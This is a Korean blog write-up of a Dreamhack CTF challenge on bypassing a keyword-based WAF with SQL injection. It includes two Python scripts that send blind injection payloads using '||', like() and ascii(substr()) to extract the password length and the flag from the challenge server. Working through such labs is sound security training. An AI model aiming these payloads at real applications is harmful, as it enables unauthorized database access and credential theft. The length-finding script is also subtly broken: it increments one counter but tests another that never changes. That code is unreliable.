김승현

[Dreamhack : Web] sql injection bypass WAF 본문

Web/Dreamhack : Web

[Dreamhack : Web] sql injection bypass WAF

kshind 2023. 2. 24. 19:49

문제

방화벽 우회 문제다.

 

풀이

접속하면 이렇게 뜨는 걸 볼 수 있다. 아무거나 입력해보자

hello를 입력했더니 {uid}가 hello로 바꼈다. 이번엔 guest를 입력해보자.

guest로 바뀌면서 가운데 guest라고 표시가 생겼다.

init.sql과 소스코드는 분석은 강의에 있으니까 그냥 중요해 보이는 것만 가져오겠습니다!

keywords 변수에 union, select, from, admin... 등등을 저장하고 저장된 문자열들을 check_WAF함수를 통해서 

포함된다면 True를 없다면 False를 반환한다.

그리고 포함되어있다면 true이기 때문에 if문이 실행됨녀서 WAF로 차단이 되며 종료가 되고

포함되지 않았다면 SELECT * FROM use WHERE uid='[uid변수]';를 정상적으로 실행하게 된다.

 

길이를 알아내는 코드

import requests

url="http://host3.dreamhack.games:8352/"
cnt = 0
pwlen=0

while(True):
    cnt+=1
    param={'uid':f"'||(length(upw))like({pwlen})#"}
    if 'admin' in requests.get(url,params=param).text:
        break

print(f"length of password : {pwlen}")

flag를 알아내는 코드

어차피 1부터 3까지 flag는 DH{이기 때문에 4부터 반복문이 실행되게 만들었다.

이었는데..중간에 접속이 끊겨서 그냥 깔끔하게 보이게 1부터 시작해서 그냥 했다...

import requests

url="http://host3.dreamhack.games:8352/"

pw=""

for i in range(4,45):
    for j in range(0,127):
        param={'uid':f"'||(ascii(substr(upw,{i},1)))like({j})#"}
        if 'admin' in requests.get(url,params=param).text:
            pw+=chr(j)
            print(f"pw={pw}")
            break


print(f"flag = {pw}")